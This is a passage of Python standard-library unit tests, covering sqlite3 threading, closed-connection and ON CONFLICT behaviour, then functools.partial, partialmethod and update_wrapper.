setUp(self): self.con = sqlite.connect(":memory:") self.cur = self.con.cursor() self.cur.execute("create table test(id integer primary key, name text, bin binary, ratio number, ts timestamp)") def tearDown(self): self.cur.close() self.con.close() def test_con_cursor(self): def run(con, errors): try: cur = con.cursor() errors.append("did not raise ProgrammingError") return except sqlite.ProgrammingError: return except: errors.append("raised wrong exception") errors = [] t = threading.Thread(target=run, kwargs={"con": self.con, "errors": errors}) t.start() t.join() if len(errors) > 0: self.fail("\n".join(errors)) def test_con_commit(self): def run(con, errors): try: con.commit() errors.append("did not raise ProgrammingError") return except sqlite.ProgrammingError: return except: errors.append("raised wrong exception") errors = [] t = threading.Thread(target=run, kwargs={"con": self.con, "errors": errors}) t.start() t.join() if len(errors) > 0: self.fail("\n".join(errors)) def test_con_rollback(self): def run(con, errors): try: con.rollback() errors.append("did not raise ProgrammingError") return except sqlite.ProgrammingError: return except: errors.append("raised wrong exception") errors = [] t = threading.Thread(target=run, kwargs={"con": self.con, "errors": errors}) t.start() t.join() if len(errors) > 0: self.fail("\n".join(errors)) def test_con_close(self): def run(con, errors): try: con.close() errors.append("did not raise ProgrammingError") return except sqlite.ProgrammingError: return except: errors.append("raised wrong exception") errors = [] t = threading.Thread(target=run, kwargs={"con": self.con, "errors": errors}) t.start() t.join() if len(errors) > 0: self.fail("\n".join(errors)) def test_cur_implicit_begin(self): def run(cur, errors): try: cur.execute("insert into test(name) values ('a')") errors.append("did not raise ProgrammingError") return except sqlite.ProgrammingError: return except: errors.append("raised wrong exception") errors = [] t = threading.Thread(target=run, kwargs={"cur": self.cur, "errors": errors}) t.start() t.join() if len(errors) > 0: self.fail("\n".join(errors)) def test_cur_close(self): def run(cur, errors): try: cur.close() errors.append("did not raise ProgrammingError") return except sqlite.ProgrammingError: return except: errors.append("raised wrong exception") errors = [] t = threading.Thread(target=run, kwargs={"cur": self.cur, "errors": errors}) t.start() t.join() if len(errors) > 0: self.fail("\n".join(errors)) def test_cur_execute(self): def run(cur, errors): try: cur.execute("select name from test") errors.append("did not raise ProgrammingError") return except sqlite.ProgrammingError: return except: errors.append("raised wrong exception") errors = [] self.cur.execute("insert into test(name) values ('a')") t = threading.Thread(target=run, kwargs={"cur": self.cur, "errors": errors}) t.start() t.join() if len(errors) > 0: self.fail("\n".join(errors)) def test_cur_iter_next(self): def run(cur, errors): try: row = cur.fetchone() errors.append("did not raise ProgrammingError") return except sqlite.ProgrammingError: return except: errors.append("raised wrong exception") errors = [] self.cur.execute("insert into test(name) values ('a')") self.cur.execute("select name from test") t = threading.Thread(target=run, kwargs={"cur": self.cur, "errors": errors}) t.start() t.join() if len(errors) > 0: self.fail("\n".join(errors)) class ConstructorTests(unittest.TestCase): def test_date(self): d = sqlite.Date(2004, 10, 28) def test_time(self): t = sqlite.Time(12, 39, 35) def test_timestamp(self): ts = sqlite.Timestamp(2004, 10, 28, 12, 39, 35) def test_date_from_ticks(self): d = sqlite.DateFromTicks(42) def test_time_from_ticks(self): t = sqlite.TimeFromTicks(42) def test_timestamp_from_ticks(self): ts = sqlite.TimestampFromTicks(42) def test_binary(self): b = sqlite.Binary(b"\0'") class ExtensionTests(unittest.TestCase): def test_script_string_sql(self): con = sqlite.connect(":memory:") cur = con.cursor() cur.executescript(""" -- bla bla /* a stupid comment */ create table a(i); insert into a(i) values (5); """) cur.execute("select i from a") res = cur.fetchone()[0] self.assertEqual(res, 5) def test_script_syntax_error(self): con = sqlite.connect(":memory:") cur = con.cursor() with self.assertRaises(sqlite.OperationalError): cur.executescript("create table test(x); asdf; create table test2(x)") def test_script_error_normal(self): con = sqlite.connect(":memory:") cur = con.cursor() with self.assertRaises(sqlite.OperationalError): cur.executescript("create table test(sadfsadfdsa); select foo from hurz;") def test_cursor_executescript_as_bytes(self): con = sqlite.connect(":memory:") cur = con.cursor() with self.assertRaises(ValueError) as cm: cur.executescript(b"create table test(foo); insert into test(foo) values (5);") self.assertEqual(str(cm.exception), 'script argument must be unicode.') def test_connection_execute(self): con = sqlite.connect(":memory:") result = con.execute("select 5").fetchone()[0] self.assertEqual(result, 5, "Basic test of Connection.execute") def test_connection_executemany(self): con = sqlite.connect(":memory:") con.execute("create table test(foo)") con.executemany("insert into test(foo) values (?)", [(3,), (4,)]) result = con.execute("select foo from test order by foo").fetchall() self.assertEqual(result[0][0], 3, "Basic test of Connection.executemany") self.assertEqual(result[1][0], 4, "Basic test of Connection.executemany") def test_connection_executescript(self): con = sqlite.connect(":memory:") con.executescript("create table test(foo); insert into test(foo) values (5);") result = con.execute("select foo from test").fetchone()[0] self.assertEqual(result, 5, "Basic test of Connection.executescript") class ClosedConTests(unittest.TestCase): def test_closed_con_cursor(self): con = sqlite.connect(":memory:") con.close() with self.assertRaises(sqlite.ProgrammingError): cur = con.cursor() def test_closed_con_commit(self): con = sqlite.connect(":memory:") con.close() with self.assertRaises(sqlite.ProgrammingError): con.commit() def test_closed_con_rollback(self): con = sqlite.connect(":memory:") con.close() with self.assertRaises(sqlite.ProgrammingError): con.rollback() def test_closed_cur_execute(self): con = sqlite.connect(":memory:") cur = con.cursor() con.close() with self.assertRaises(sqlite.ProgrammingError): cur.execute("select 4") def test_closed_create_function(self): con = sqlite.connect(":memory:") con.close() def f(x): return 17 with self.assertRaises(sqlite.ProgrammingError): con.create_function("foo", 1, f) def test_closed_create_aggregate(self): con = sqlite.connect(":memory:") con.close() class Agg: def __init__(self): pass def step(self, x): pass def finalize(self): return 17 with self.assertRaises(sqlite.ProgrammingError): con.create_aggregate("foo", 1, Agg) def test_closed_set_authorizer(self): con = sqlite.connect(":memory:") con.close() def authorizer(*args): return sqlite.DENY with self.assertRaises(sqlite.ProgrammingError): con.set_authorizer(authorizer) def test_closed_set_progress_callback(self): con = sqlite.connect(":memory:") con.close() def progress(): pass with self.assertRaises(sqlite.ProgrammingError): con.set_progress_handler(progress, 100) def test_closed_call(self): con = sqlite.connect(":memory:") con.close() with self.assertRaises(sqlite.ProgrammingError): con() class ClosedCurTests(unittest.TestCase): def test_closed(self): con = sqlite.connect(":memory:") cur = con.cursor() cur.close() for method_name in ("execute", "executemany", "executescript", "fetchall", "fetchmany", "fetchone"): if method_name in ("execute", "executescript"): params = ("select 4 union select 5",) elif method_name == "executemany": params = ("insert into foo(bar) values (?)", [(3,), (4,)]) else: params = [] with self.assertRaises(sqlite.ProgrammingError): method = getattr(cur, method_name) method(*params) class SqliteOnConflictTests(unittest.TestCase): """ Tests for SQLite's "insert on conflict" feature. See https://www.sqlite.org/lang_conflict.html for details. """ def setUp(self): self.cx = sqlite.connect(":memory:") self.cu = self.cx.cursor() self.cu.execute(""" CREATE TABLE test( id INTEGER PRIMARY KEY, name TEXT, unique_name TEXT UNIQUE ); """) def tearDown(self): self.cu.close() self.cx.close() def test_on_conflict_rollback_with_explicit_transaction(self): self.cx.isolation_level = None # autocommit mode self.cu = self.cx.cursor() # Start an explicit transaction. self.cu.execute("BEGIN") self.cu.execute("INSERT INTO test(name) VALUES ('abort_test')") self.cu.execute("INSERT OR ROLLBACK INTO test(unique_name) VALUES ('foo')") with self.assertRaises(sqlite.IntegrityError): self.cu.execute("INSERT OR ROLLBACK INTO test(unique_name) VALUES ('foo')") # Use connection to commit. self.cx.commit() self.cu.execute("SELECT name, unique_name from test") # Transaction should have rolled back and nothing should be in table. self.assertEqual(self.cu.fetchall(), []) def test_on_conflict_abort_raises_with_explicit_transactions(self): # Abort cancels the current sql statement but doesn't change anything # about the current transaction. self.cx.isolation_level = None # autocommit mode self.cu = self.cx.cursor() # Start an explicit transaction. self.cu.execute("BEGIN") self.cu.execute("INSERT INTO test(name) VALUES ('abort_test')") self.cu.execute("INSERT OR ABORT INTO test(unique_name) VALUES ('foo')") with self.assertRaises(sqlite.IntegrityError): self.cu.execute("INSERT OR ABORT INTO test(unique_name) VALUES ('foo')") self.cx.commit() self.cu.execute("SELECT name, unique_name FROM test") # Expect the first two inserts to work, third to do nothing. self.assertEqual(self.cu.fetchall(), [('abort_test', None), (None, 'foo',)]) def test_on_conflict_rollback_without_transaction(self): # Start of implicit transaction self.cu.execute("INSERT INTO test(name) VALUES ('abort_test')") self.cu.execute("INSERT OR ROLLBACK INTO test(unique_name) VALUES ('foo')") with self.assertRaises(sqlite.IntegrityError): self.cu.execute("INSERT OR ROLLBACK INTO test(unique_name) VALUES ('foo')") self.cu.execute("SELECT name, unique_name FROM test") # Implicit transaction is rolled back on error. self.assertEqual(self.cu.fetchall(), []) def test_on_conflict_abort_raises_without_transactions(self): # Abort cancels the current sql statement but doesn't change anything # about the current transaction. self.cu.execute("INSERT INTO test(name) VALUES ('abort_test')") self.cu.execute("INSERT OR ABORT INTO test(unique_name) VALUES ('foo')") with self.assertRaises(sqlite.IntegrityError): self.cu.execute("INSERT OR ABORT INTO test(unique_name) VALUES ('foo')") # Make sure all other values were inserted. self.cu.execute("SELECT name, unique_name FROM test") self.assertEqual(self.cu.fetchall(), [('abort_test', None), (None, 'foo',)]) def test_on_conflict_fail(self): self.cu.execute("INSERT OR FAIL INTO test(unique_name) VALUES ('foo')") with self.assertRaises(sqlite.IntegrityError): self.cu.execute("INSERT OR FAIL INTO test(unique_name) VALUES ('foo')") self.assertEqual(self.cu.fetchall(), []) def test_on_conflict_ignore(self): self.cu.execute("INSERT OR IGNORE INTO test(unique_name) VALUES ('foo')") # Nothing should happen. self.cu.execute("INSERT OR IGNORE INTO test(unique_name) VALUES ('foo')") self.cu.execute("SELECT unique_name FROM test") self.assertEqual(self.cu.fetchall(), [('foo',)]) def test_on_conflict_replace(self): self.cu.execute("INSERT OR REPLACE INTO test(name, unique_name) VALUES ('Data!', 'foo')") # There shouldn't be an IntegrityError exception. self.cu.execute("INSERT OR REPLACE INTO test(name, unique_name) VALUES ('Very different data!', 'foo')") self.cu.execute("SELECT name, unique_name FROM test") self.assertEqual(self.cu.fetchall(), [('Very different data!', 'foo')]) def suite(): tests = [ ClosedConTests, ClosedCurTests, ConnectionTests, ConstructorTests, CursorTests, ExtensionTests, ModuleTests, SqliteOnConflictTests, ThreadTests, ] return unittest.TestSuite( [unittest.TestLoader().loadTestsFromTestCase(t) for t in tests] ) def test(): runner = unittest.TextTestRunner() runner.run(suite()) if __name__ == "__main__": test()
test_functools.py
import abc import collections import copy from itertools import permutations import pickle from random import choice import sys from test import support import unittest from weakref import proxy import contextlib try: import threading except ImportError: threading = None import functools py_functools = support.import_fresh_module('functools', blocked=['_functools']) c_functools = support.import_fresh_module('functools', fresh=['_functools']) decimal = support.import_fresh_module('decimal', fresh=['_decimal']) @contextlib.contextmanager def replaced_module(name, replacement): original_module = sys.modules[name] sys.modules[name] = replacement try: yield finally: sys.modules[name] = original_module def capture(*args, **kw): """capture all positional and keyword arguments""" return args, kw def signature(part): """ return the signature of a partial object """ return (part.func, part.args, part.keywords, part.__dict__) class MyTuple(tuple): pass class BadTuple(tuple): def __add__(self, other): return list(self) + list(other) class MyDict(dict): pass class TestPartial: def test_basic_examples(self): p = self.partial(capture, 1, 2, a=10, b=20) self.assertTrue(callable(p)) self.assertEqual(p(3, 4, b=30, c=40), ((1, 2, 3, 4), dict(a=10, b=30, c=40))) p = self.partial(map, lambda x: x*10) self.assertEqual(list(p([1,2,3,4])), [10, 20, 30, 40]) def test_attributes(self): p = self.partial(capture, 1, 2, a=10, b=20) # attributes should be readable self.assertEqual(p.func, capture) self.assertEqual(p.args, (1, 2)) self.assertEqual(p.keywords, dict(a=10, b=20)) def test_argument_checking(self): self.assertRaises(TypeError, self.partial) # need at least a func arg try: self.partial(2)() except TypeError: pass else: self.fail('First arg not checked for callability') def test_protection_of_callers_dict_argument(self): # a caller's dictionary should not be altered by partial def func(a=10, b=20): return a d = {'a':3} p = self.partial(func, a=5) self.assertEqual(p(**d), 3) self.assertEqual(d, {'a':3}) p(b=7) self.assertEqual(d, {'a':3}) def test_arg_combinations(self): # exercise special code paths for zero args in either partial # object or the caller p = self.partial(capture) self.assertEqual(p(), ((), {})) self.assertEqual(p(1,2), ((1,2), {})) p = self.partial(capture, 1, 2) self.assertEqual(p(), ((1,2), {})) self.assertEqual(p(3,4), ((1,2,3,4), {})) def test_kw_combinations(self): # exercise special code paths for no keyword args in # either the partial object or the caller p = self.partial(capture) self.assertEqual(p.keywords, {}) self.assertEqual(p(), ((), {})) self.assertEqual(p(a=1), ((), {'a':1})) p = self.partial(capture, a=1) self.assertEqual(p.keywords, {'a':1}) self.assertEqual(p(), ((), {'a':1})) self.assertEqual(p(b=2), ((), {'a':1, 'b':2})) # keyword args in the call override those in the partial object self.assertEqual(p(a=3, b=2), ((), {'a':3, 'b':2})) def test_positional(self): # make sure positional arguments are captured correctly for args in [(), (0,), (0,1), (0,1,2), (0,1,2,3)]: p = self.partial(capture, *args) expected = args + ('x',) got, empty = p('x') self.assertTrue(expected == got and empty == {}) def test_keyword(self): # make sure keyword arguments are captured correctly for a in ['a', 0, None, 3.5]: p = self.partial(capture, a=a) expected = {'a':a,'x':None} empty, got = p(x=None) self.assertTrue(expected == got and empty == ()) def test_no_side_effects(self): # make sure there are no side effects that affect subsequent calls p = self.partial(capture, 0, a=1) args1, kw1 = p(1, b=2) self.assertTrue(args1 == (0,1) and kw1 == {'a':1,'b':2}) args2, kw2 = p() self.assertTrue(args2 == (0,) and kw2 == {'a':1}) def test_error_propagation(self): def f(x, y): x / y self.assertRaises(ZeroDivisionError, self.partial(f, 1, 0)) self.assertRaises(ZeroDivisionError, self.partial(f, 1), 0) self.assertRaises(ZeroDivisionError, self.partial(f), 1, 0) self.assertRaises(ZeroDivisionError, self.partial(f, y=0), 1) def test_weakref(self): f = self.partial(int, base=16) p = proxy(f) self.assertEqual(f.func, p.func) f = None self.assertRaises(ReferenceError, getattr, p, 'func') def test_with_bound_and_unbound_methods(self): data = list(map(str, range(10))) join = self.partial(str.join, '') self.assertEqual(join(data), '0123456789') join = self.partial(''.join) self.assertEqual(join(data), '0123456789') def test_nested_optimization(self): partial = self.partial inner = partial(signature, 'asdf') nested = partial(inner, bar=True) flat = partial(signature, 'asdf', bar=True) self.assertEqual(signature(nested), signature(flat)) def test_nested_partial_with_attribute(self): # see issue 25137 partial = self.partial def foo(bar): return bar p = partial(foo, 'first') p2 = partial(p, 'second') p2.new_attr = 'spam' self.assertEqual(p2.new_attr, 'spam') def test_repr(self): args = (object(), object()) args_repr = ', '.join(repr(a) for a in args) kwargs = {'a': object(), 'b': object()} kwargs_reprs = ['a={a!r}, b={b!r}'.format_map(kwargs), 'b={b!r}, a={a!r}'.format_map(kwargs)] if self.partial in (c_functools.partial, py_functools.partial): name = 'functools.partial' else: name = self.partial.__name__ f = self.partial(capture) self.assertEqual(f'{name}({capture!r})', repr(f)) f = self.partial(capture, *args) self.assertEqual(f'{name}({capture!r}, {args_repr})', repr(f)) f = self.partial(capture, **kwargs) self.assertIn(repr(f), [f'{name}({capture!r}, {kwargs_repr})' for kwargs_repr in kwargs_reprs]) f = self.partial(capture, *args, **kwargs) self.assertIn(repr(f), [f'{name}({capture!r}, {args_repr}, {kwargs_repr})' for kwargs_repr in kwargs_reprs]) def test_recursive_repr(self): if self.partial in (c_functools.partial, py_functools.partial): name = 'functools.partial' else: name = self.partial.__name__ f = self.partial(capture) f.__setstate__((f, (), {}, {})) try: self.assertEqual(repr(f), '%s(...)' % (name,)) finally: f.__setstate__((capture, (), {}, {})) f = self.partial(capture) f.__setstate__((capture, (f,), {}, {})) try: self.assertEqual(repr(f), '%s(%r, ...)' % (name, capture,)) finally: f.__setstate__((capture, (), {}, {})) f = self.partial(capture) f.__setstate__((capture, (), {'a': f}, {})) try: self.assertEqual(repr(f), '%s(%r, a=...)' % (name, capture,)) finally: f.__setstate__((capture, (), {}, {})) def test_pickle(self): with self.AllowPickle(): f = self.partial(signature, ['asdf'], bar=[True]) f.attr = [] for proto in range(pickle.HIGHEST_PROTOCOL + 1): f_copy = pickle.loads(pickle.dumps(f, proto)) self.assertEqual(signature(f_copy), signature(f)) def test_copy(self): f = self.partial(signature, ['asdf'], bar=[True]) f.attr = [] f_copy = copy.copy(f) self.assertEqual(signature(f_copy), signature(f)) self.assertIs(f_copy.attr, f.attr) self.assertIs(f_copy.args, f.args) self.assertIs(f_copy.keywords, f.keywords) def test_deepcopy(self): f = self.partial(signature, ['asdf'], bar=[True]) f.attr = [] f_copy = copy.deepcopy(f) self.assertEqual(signature(f_copy), signature(f)) self.assertIsNot(f_copy.attr, f.attr) self.assertIsNot(f_copy.args, f.args) self.assertIsNot(f_copy.args[0], f.args[0]) self.assertIsNot(f_copy.keywords, f.keywords) self.assertIsNot(f_copy.keywords['bar'], f.keywords['bar']) def test_setstate(self): f = self.partial(signature) f.__setstate__((capture, (1,), dict(a=10), dict(attr=[]))) self.assertEqual(signature(f), (capture, (1,), dict(a=10), dict(attr=[]))) self.assertEqual(f(2, b=20), ((1, 2), {'a': 10, 'b': 20})) f.__setstate__((capture, (1,), dict(a=10), None)) self.assertEqual(signature(f), (capture, (1,), dict(a=10), {})) self.assertEqual(f(2, b=20), ((1, 2), {'a': 10, 'b': 20})) f.__setstate__((capture, (1,), None, None)) #self.assertEqual(signature(f), (capture, (1,), {}, {})) self.assertEqual(f(2, b=20), ((1, 2), {'b': 20})) self.assertEqual(f(2), ((1, 2), {})) self.assertEqual(f(), ((1,), {})) f.__setstate__((capture, (), {}, None)) self.assertEqual(signature(f), (capture, (), {}, {})) self.assertEqual(f(2, b=20), ((2,), {'b': 20})) self.assertEqual(f(2), ((2,), {})) self.assertEqual(f(), ((), {})) def test_setstate_errors(self): f = self.partial(signature) self.assertRaises(TypeError, f.__setstate__, (capture, (), {})) self.assertRaises(TypeError, f.__setstate__, (capture, (), {}, {}, None)) self.assertRaises(TypeError, f.__setstate__, [capture, (), {}, None]) self.assertRaises(TypeError, f.__setstate__, (None, (), {}, None)) self.assertRaises(TypeError, f.__setstate__, (capture, None, {}, None)) self.assertRaises(TypeError, f.__setstate__, (capture, [], {}, None)) self.assertRaises(TypeError, f.__setstate__, (capture, (), [], None)) def test_setstate_subclasses(self): f = self.partial(signature) f.__setstate__((capture, MyTuple((1,)), MyDict(a=10), None)) s = signature(f) self.assertEqual(s, (capture, (1,), dict(a=10), {})) self.assertIs(type(s[1]), tuple) self.assertIs(type(s[2]), dict) r = f() self.assertEqual(r, ((1,), {'a': 10})) self.assertIs(type(r[0]), tuple) self.assertIs(type(r[1]), dict) f.__setstate__((capture, BadTuple((1,)), {}, None)) s = signature(f) self.assertEqual(s, (capture, (1,), {}, {})) self.assertIs(type(s[1]), tuple) r = f(2) self.assertEqual(r, ((1, 2), {})) self.assertIs(type(r[0]), tuple) def test_recursive_pickle(self): with self.AllowPickle(): f = self.partial(capture) f.__setstate__((f, (), {}, {})) try: for proto in range(pickle.HIGHEST_PROTOCOL + 1): with self.assertRaises(RecursionError): pickle.dumps(f, proto) finally: f.__setstate__((capture, (), {}, {})) f = self.partial(capture) f.__setstate__((capture, (f,), {}, {})) try: for proto in range(pickle.HIGHEST_PROTOCOL + 1): f_copy = pickle.loads(pickle.dumps(f, proto)) try: self.assertIs(f_copy.args[0], f_copy) finally: f_copy.__setstate__((capture, (), {}, {})) finally: f.__setstate__((capture, (), {}, {})) f = self.partial(capture) f.__setstate__((capture, (), {'a': f}, {})) try: for proto in range(pickle.HIGHEST_PROTOCOL + 1): f_copy = pickle.loads(pickle.dumps(f, proto)) try: self.assertIs(f_copy.keywords['a'], f_copy) finally: f_copy.__setstate__((capture, (), {}, {})) finally: f.__setstate__((capture, (), {}, {})) # Issue 6083: Reference counting bug def test_setstate_refcount(self): class BadSequence: def __len__(self): return 4 def __getitem__(self, key): if key == 0: return max elif key == 1: return tuple(range(1000000)) elif key in (2, 3): return {} raise IndexError f = self.partial(object) self.assertRaises(TypeError, f.__setstate__, BadSequence()) @unittest.skipUnless(c_functools, 'requires the C _functools module') class TestPartialC(TestPartial, unittest.TestCase): if c_functools: partial = c_functools.partial class AllowPickle: def __enter__(self): return self def __exit__(self, type, value, tb): return False def test_attributes_unwritable(self): # attributes should not be writable p = self.partial(capture, 1, 2, a=10, b=20) self.assertRaises(AttributeError, setattr, p, 'func', map) self.assertRaises(AttributeError, setattr, p, 'args', (1, 2)) self.assertRaises(AttributeError, setattr, p, 'keywords', dict(a=1, b=2)) p = self.partial(hex) try: del p.__dict__ except TypeError: pass else: self.fail('partial object allowed __dict__ to be deleted') class TestPartialPy(TestPartial, unittest.TestCase): partial = py_functools.partial class AllowPickle: def __init__(self): self._cm = replaced_module("functools", py_functools) def __enter__(self): return self._cm.__enter__() def __exit__(self, type, value, tb): return self._cm.__exit__(type, value, tb) if c_functools: class CPartialSubclass(c_functools.partial): pass class PyPartialSubclass(py_functools.partial): pass @unittest.skipUnless(c_functools, 'requires the C _functools module') class TestPartialCSubclass(TestPartialC): if c_functools: partial = CPartialSubclass # partial subclasses are not optimized for nested calls test_nested_optimization = None class TestPartialPySubclass(TestPartialPy): partial = PyPartialSubclass class TestPartialMethod(unittest.TestCase): class A(object): nothing = functools.partialmethod(capture) positional = functools.partialmethod(capture, 1) keywords = functools.partialmethod(capture, a=2) both = functools.partialmethod(capture, 3, b=4) nested = functools.partialmethod(positional, 5) over_partial = functools.partialmethod(functools.partial(capture, c=6), 7) static = functools.partialmethod(staticmethod(capture), 8) cls = functools.partialmethod(classmethod(capture), d=9) a = A() def test_arg_combinations(self): self.assertEqual(self.a.nothing(), ((self.a,), {})) self.assertEqual(self.a.nothing(5), ((self.a, 5), {})) self.assertEqual(self.a.nothing(c=6), ((self.a,), {'c': 6})) self.assertEqual(self.a.nothing(5, c=6), ((self.a, 5), {'c': 6})) self.assertEqual(self.a.positional(), ((self.a, 1), {})) self.assertEqual(self.a.positional(5), ((self.a, 1, 5), {})) self.assertEqual(self.a.positional(c=6), ((self.a, 1), {'c': 6})) self.assertEqual(self.a.positional(5, c=6), ((self.a, 1, 5), {'c': 6})) self.assertEqual(self.a.keywords(), ((self.a,), {'a': 2})) self.assertEqual(self.a.keywords(5), ((self.a, 5), {'a': 2})) self.assertEqual(self.a.keywords(c=6), ((self.a,), {'a': 2, 'c': 6})) self.assertEqual(self.a.keywords(5, c=6), ((self.a, 5), {'a': 2, 'c': 6})) self.assertEqual(self.a.both(), ((self.a, 3), {'b': 4})) self.assertEqual(self.a.both(5), ((self.a, 3, 5), {'b': 4})) self.assertEqual(self.a.both(c=6), ((self.a, 3), {'b': 4, 'c': 6})) self.assertEqual(self.a.both(5, c=6), ((self.a, 3, 5), {'b': 4, 'c': 6})) self.assertEqual(self.A.both(self.a, 5, c=6), ((self.a, 3, 5), {'b': 4, 'c': 6})) def test_nested(self): self.assertEqual(self.a.nested(), ((self.a, 1, 5), {})) self.assertEqual(self.a.nested(6), ((self.a, 1, 5, 6), {})) self.assertEqual(self.a.nested(d=7), ((self.a, 1, 5), {'d': 7})) self.assertEqual(self.a.nested(6, d=7), ((self.a, 1, 5, 6), {'d': 7})) self.assertEqual(self.A.nested(self.a, 6, d=7), ((self.a, 1, 5, 6), {'d': 7})) def test_over_partial(self): self.assertEqual(self.a.over_partial(), ((self.a, 7), {'c': 6})) self.assertEqual(self.a.over_partial(5), ((self.a, 7, 5), {'c': 6})) self.assertEqual(self.a.over_partial(d=8), ((self.a, 7), {'c': 6, 'd': 8})) self.assertEqual(self.a.over_partial(5, d=8), ((self.a, 7, 5), {'c': 6, 'd': 8})) self.assertEqual(self.A.over_partial(self.a, 5, d=8), ((self.a, 7, 5), {'c': 6, 'd': 8})) def test_bound_method_introspection(self): obj = self.a self.assertIs(obj.both.__self__, obj) self.assertIs(obj.nested.__self__, obj) self.assertIs(obj.over_partial.__self__, obj) self.assertIs(obj.cls.__self__, self.A) self.assertIs(self.A.cls.__self__, self.A) def test_unbound_method_retrieval(self): obj = self.A self.assertFalse(hasattr(obj.both, "__self__")) self.assertFalse(hasattr(obj.nested, "__self__")) self.assertFalse(hasattr(obj.over_partial, "__self__")) self.assertFalse(hasattr(obj.static, "__self__")) self.assertFalse(hasattr(self.a.static, "__self__")) def test_descriptors(self): for obj in [self.A, self.a]: with self.subTest(obj=obj): self.assertEqual(obj.static(), ((8,), {})) self.assertEqual(obj.static(5), ((8, 5), {})) self.assertEqual(obj.static(d=8), ((8,), {'d': 8})) self.assertEqual(obj.static(5, d=8), ((8, 5), {'d': 8})) self.assertEqual(obj.cls(), ((self.A,), {'d': 9})) self.assertEqual(obj.cls(5), ((self.A, 5), {'d': 9})) self.assertEqual(obj.cls(c=8), ((self.A,), {'c': 8, 'd': 9})) self.assertEqual(obj.cls(5, c=8), ((self.A, 5), {'c': 8, 'd': 9})) def test_overriding_keywords(self): self.assertEqual(self.a.keywords(a=3), ((self.a,), {'a': 3})) self.assertEqual(self.A.keywords(self.a, a=3), ((self.a,), {'a': 3})) def test_invalid_args(self): with self.assertRaises(TypeError): class B(object): method = functools.partialmethod(None, 1) def test_repr(self): self.assertEqual(repr(vars(self.A)['both']), 'functools.partialmethod({}, 3, b=4)'.format(capture)) def test_abstract(self): class Abstract(abc.ABCMeta): @abc.abstractmethod def add(self, x, y): pass add5 = functools.partialmethod(add, 5) self.assertTrue(Abstract.add.__isabstractmethod__) self.assertTrue(Abstract.add5.__isabstractmethod__) for func in [self.A.static, self.A.cls, self.A.over_partial, self.A.nested, self.A.both]: self.assertFalse(getattr(func, '__isabstractmethod__', False)) class TestUpdateWrapper(unittest.TestCase): def check_wrapper(self, wrapper, wrapped, assigned=functools.WRAPPER_ASSIGNMENTS, updated=functools.WRAPPER_UPDATES): # Check attributes were assigned for name in assigned: self.assertIs(getattr(wrapper, name), getattr(wrapped, name)) # Check attributes were updated for name in updated: wrapper_attr = getattr(wrapper, name) wrapped_attr = getattr(wrapped, name) for key in wrapped_attr: if name == "__dict__" and key == "__wrapped__": # __wrapped__ is overwritten by the update code continue self.assertIs(wrapped_attr[key], wrapper_attr[key]) # Check __wrapped__ self.assertIs(wrapper.__wrapped__, wrapped) def _default_update(self): def f(a:'This is a new annotation'): """This is a test""" pass f.attr = 'This is also a test' f.__wrapped__ = "This is a bald faced lie" def wrapper(b:'This is the prior annotation'): pass functools.update_wrapper(wrapper, f) return wrapper, f def test_default_update(self): wrapper, f = self._default_update() self.check_wrapper(wrapper, f) self.assertIs(wrapper.__wrapped__, f) self.assertEqual(wrapper.__name__, 'f') self.assertEqual(wrapper.__qualname__, f.__qualname__) self.assertEqual(wrapper.attr, 'This is also a test') self.assertEqual(wrapper.__annotations__['a'], 'This is a new annotation') self.assertNotIn('b', wrapper.__annotations__) @unittest.skipIf(sys.flags.optimize >= 2, "Docstrings are omitted with -O2 and above") def test_default_update_doc(self): wrapper, f = self._default_update() self.assertEqual(wrapper.__doc__, 'This is a test') def test_no_update(self): def f(): """This is a test""" pass f.attr = 'This is also a test' def wrapper(): pass functools.update_wrapper(wrapper, f, (), ()) self.check_wrapper(wrapper, f, (), ()) self.assertEqual(wrapper.__name__, 'wrapper') self.assertNotEqual(wrapper.__qualname__, f.__qualname__) self.assertEqual(wrapper.__doc__, None) self.assertEqual(wrapper.__annotations__, {}) self.assertFalse(hasattr(wrapper, 'attr')) def test_selective_update(self): def f(): pass f.attr = 'This is a different test' f.dict_attr = dict(a=1, b=2, c=3) def wrapper(): pass wrapper.dict_attr = {} assign = ('attr',) update = ('dict_attr',) functools.update_wrapper(wrapper, f, assign, update) self.check_wrapper(wrapper, f, assign, update) self.assertEqual(wrapper.__name__, 'wrapper') self.assertNotEqual(wrapper.__qualname__, f.__qualname__) self.assertEqual(wrapper.__doc__, None) self.assertEqual(wrapper.attr, 'This is a different test') self.assertEqual(wrapper.dict_attr, f.dict_attr) def test_missing_attributes(self): def f(): pass def wrapper(): pass wrapper.dict_attr = {} assign = ('attr',) update = ('dict_attr',) # Missing attributes on wrapped object are ignored functools.update_wrapper(wrapper, f, assign, update) self.assertNotIn('attr', wrapper.__dict__) self.assertEqual(wrapper.dict_attr, {}) # Wrapper must have expected attributes for updating del wrapper.dict_attr with self.assertRaises(AttributeError): functools.update_wrapper(wrapper, f, assign, update) wrapper.dict_attr = 1 with self.assertRaises(AttributeError): functools.update_wrapper(wrapper, f, assign, update) @support.requires_docstrings @unittest.skipIf(sys.flags.optimize >= 2, "Docstrings are omitted with -O2 and above") def test_builtin_update(self): # Test for bug #1576241 def wrapper(): pass functools.update_wrapper(wrapper, max) self.assertEqual(wrapper.__name__, 'max') self.assertTrue(wrapper.__doc__.startswith('max(')) self.assertEqual(wrapper.__annotations__, {}) class TestWraps(TestUpdateWrapper): def _default_update(self): def f(): """This is a test""" pass f.attr = 'This is also a test' f.__wrapped__ = "This is still a bald faced lie" @functools.wraps(f) def wrapper(): pass return wrapper, f def test_default_update(self): wrapper, f = self._default_update() self.check_wrapper(wrapper, f) self.assertEqual(wrapper.__name__, 'f') self.assertEqual(wrapper.__qualname__, f.__qualname__) self.assertEqual(wrapper.attr, 'This is also a test') @unittest.skipIf(sys.flags.optimize >= 2, "Docstrings are omitted with -O2 and above") def test_default_update_doc(self): wrapper, _ = self._default_update() self.assertEqual(wrapper.__doc__, 'This is a test') def test_no_update(self): def f(): """This is a test""" pass f.attr = 'This is also a test' @functools.wraps(f, (), ()) def wrapper(): pass self.check_wrapper(wrapper, f, (), ()) self.assertEqual(wrapper.__name__, 'wrapper') self.assertNotEqual(wrapper.__qualname__, f.__qualname__) self.assertEqual(wrapper.__doc__, None) self.assertFalse(hasattr(wrapper, 'attr')) def test_selective_update(self): def f(): pass f.attr = 'This is a different test' f.dict_attr = dict(a=1, b=2, c=3) def add_dict_attr(f): f.dict_attr = {} return f assign = ('attr',) update = ('dict_attr',) @functools.wraps(f, assign, update) @add_dict_attr def wrapper(): pass self.check_wrapper(wrapper, f, assign, update) 